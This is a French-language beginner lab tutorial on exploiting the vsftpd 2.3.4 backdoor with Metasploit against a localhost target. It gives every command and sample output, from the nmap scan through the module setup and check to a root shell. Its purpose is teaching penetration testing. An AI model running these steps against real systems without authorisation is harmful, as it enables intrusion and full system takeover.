Exploiter un service vsftpd vulnérable dans Metasploit

Kali LinuxBeginner
Pratiquer maintenant

Introduction

Dans ce laboratoire, vous endosserez le rôle d'un testeur d'intrusion et apprendrez à utiliser le Metasploit Framework pour exploiter une vulnérabilité connue dans un service courant. Plus précisément, vous ciblerez le vsftpd (Very Secure FTP Daemon) version 2.3.4, qui contient une célèbre porte dérobée (backdoor).

Metasploit est un puissant framework open-source de test d'intrusion qui simplifie le piratage. C'est un outil essentiel pour les professionnels de la sécurité. Vous suivrez le processus standard de test d'intrusion : scanner la cible pour identifier les services, trouver un exploit approprié, le configurer et lancer l'attaque pour prendre le contrôle du système cible. Pour ce laboratoire, votre machine cible sera l'environnement local (localhost).

Identification d'un service vsftpd vulnérable

Dans cette étape, vous allez effectuer la reconnaissance, la première phase de tout test d'intrusion. L'objectif est de scanner la cible pour découvrir les ports ouverts et identifier les versions des services qui s'exécutent sur ces ports. Ces informations sont cruciales pour trouver des vulnérabilités potentielles. Nous utiliserons nmap, un puissant outil de scan réseau, à cette fin.

Tout d'abord, ouvrez un terminal. Nous allons scanner notre machine locale, qui sert de cible. L'adresse IP de la machine locale est 127.0.0.1.

Exécutez la commande nmap suivante pour effectuer un scan de version de service (-sV) sur la cible :

nmap -sV 127.0.0.1

Une fois le scan terminé, nmap rapportera les ports ouverts et les services qu'il a identifiés. Pour ce laboratoire, nous nous intéressons au service FTP fonctionnant sur le port 21.

Votre sortie devrait ressembler à ceci. Notez les informations de version pour le service FTP.

Starting Nmap 7.80 ( https://nmap.org ) at ...
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0001s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.4

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in ... seconds

La sortie montre clairement que vsftpd 2.3.4 s'exécute sur le port 21. Cette version spécifique est largement connue pour contenir une porte dérobée (backdoor), ce qui en fait une cible idéale pour notre exploit.

Sélection du module d'exploit vsftpd_234_backdoor

Dans cette étape, vous allez lancer le Metasploit Framework et trouver le module d'exploit correct pour attaquer le service vsftpd 2.3.4.

Tout d'abord, démarrez la console Metasploit. Nous utilisons l'option -q (quiet) pour ignorer la bannière et démarrer plus rapidement.

msfconsole -q

Une fois Metasploit chargé, vous verrez l'invite msf6 >. Vous pouvez maintenant rechercher des exploits liés à vsftpd. Utilisez la commande search :

search vsftpd

Metasploit affichera une liste des modules correspondants. Vous devriez voir un exploit spécifiquement pour la porte dérobée (backdoor) dans vsftpd 2.3.4.

Matching Modules
================

   ##  Name                                 Disclosure Date  Rank       Check  Description
   -  ----                                 ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03     excellent  Yes    VSFTPD v2.3.4 Backdoor Command Execution
   1  auxiliary/scanner/ftp/ftp_version                     normal     No     FTP Version Scanner

Le module exploit/unix/ftp/vsftpd_234_backdoor est exactement ce dont nous avons besoin. Il est classé "excellent", ce qui signifie qu'il est très fiable. Pour charger ce module, utilisez la commande use suivie du nom complet du module ou de son numéro dans les résultats de la recherche.

use exploit/unix/ftp/vsftpd_234_backdoor

Après avoir exécuté la commande, votre invite changera en msf6 exploit(unix/ftp/vsftpd_234_backdoor) >, indiquant que le module d'exploit est maintenant actif.

Définir l'option RHOSTS sur l'adresse IP de la cible

Dans cette étape, vous allez configurer le module d'exploit. La plupart des modules nécessitent que vous définissiez des options, telles que l'adresse IP de la cible.

Avec le module vsftpd_234_backdoor chargé, vous pouvez afficher ses options en utilisant la commande show options.

show options

Cette commande affichera un tableau de toutes les options disponibles pour ce module, leurs paramètres actuels et s'ils sont requis.

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   21               yes       The target port (TCP)

Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Comme vous pouvez le voir, RHOSTS (Remote Hosts) est requis, mais aucune valeur n'est définie. Vous devez définir cette option sur l'adresse IP de notre machine cible, qui est 127.0.0.1.

Utilisez la commande set pour configurer l'option RHOSTS :

set RHOSTS 127.0.0.1

Pour confirmer que l'option a été correctement définie, vous pouvez exécuter à nouveau show options. Vous verrez que RHOSTS a maintenant la valeur 127.0.0.1.

Utiliser la commande check pour vérifier si la cible est vulnérable

Dans cette étape, vous allez utiliser un moyen sûr de tester si la cible est réellement vulnérable à l'exploit sélectionné. Metasploit fournit une commande check pour de nombreux modules, qui vous permet de vérifier la vulnérabilité sans lancer une attaque complète. Ceci est utile pour éviter la détection et les plantages système.

Maintenant que le module d'exploit est configuré avec l'adresse IP de la cible, exécutez simplement la commande check :

check

Metasploit tentera de sonder le service cible pour déterminer si la porte dérobée (backdoor) existe. Si la cible est vulnérable, vous verrez un message de confirmation.

[+] 127.0.0.1:21 - The target is vulnerable.

Le message [+] The target is vulnerable. confirme que le service vsftpd sur 127.0.0.1 possède la porte dérobée. Vous êtes maintenant prêt à lancer l'exploit. Si la cible n'était pas vulnérable, il serait généralement indiqué que la cible n'est pas exploitable.

Exécuter l'exploit et obtenir un shell de commande

Dans cette étape, vous allez exécuter l'exploit pour obtenir un accès non autorisé au système cible. Étant donné que la commande check a confirmé que la cible est vulnérable, l'exploit devrait réussir.

La commande pour lancer l'attaque est exploit. Vous pouvez également utiliser son alias, run.

exploit

Metasploit va maintenant envoyer la charge utile malveillante au service vsftpd. La porte dérobée sera déclenchée, ouvrant un shell de commande sur un port différent (port 6200 dans ce cas). Metasploit se connectera à ce nouveau shell, vous donnant un accès direct en ligne de commande à la cible.

La sortie ressemblera à ceci :

[*] 127.0.0.1:21 - Found the backdoor service on port 6200!
[*] 127.0.0.1:21 - Sending trigger...
[*] Command shell session 1 opened (127.0.0.1:38974 -> 127.0.0.1:6200) at 2023-10-27 10:30:00 -0400

Vous disposez maintenant d'un shell de commande sur la machine cible ! Notez que l'invite a disparu. Vous pouvez maintenant exécuter des commandes comme si vous étiez connecté directement à la cible. Vérifions notre niveau d'accès en exécutant la commande whoami.

whoami

La sortie devrait être :

root

Cela confirme que vous avez obtenu un shell root, vous donnant un contrôle complet sur le système cible. Pour quitter le shell et revenir à l'invite Metasploit, tapez exit.

Résumé

Félicitations pour avoir terminé avec succès ce laboratoire ! Vous avez appris le flux de travail fondamental d'un test d'intrusion en utilisant le Metasploit Framework.

Dans ce laboratoire, vous avez :

  1. Utilisé nmap pour effectuer une reconnaissance et identifier un service vsftpd 2.3.4 vulnérable.
  2. Lancé la console Metasploit et recherché un exploit pertinent.
  3. Sélectionné et configuré le module d'exploit vsftpd_234_backdoor en définissant l'option RHOSTS.
  4. Vérifié en toute sécurité la vulnérabilité de la cible à l'aide de la commande check.
  5. Exécuté la commande exploit pour obtenir un shell de commande de niveau root sur le système cible.

Cet exercice démontre comment une vulnérabilité simple et non corrigée peut entraîner un compromis complet du système. Il souligne l'importance de maintenir les logiciels à jour et la puissance d'outils tels que Metasploit, tant pour les hackers éthiques que pour les attaquants malveillants.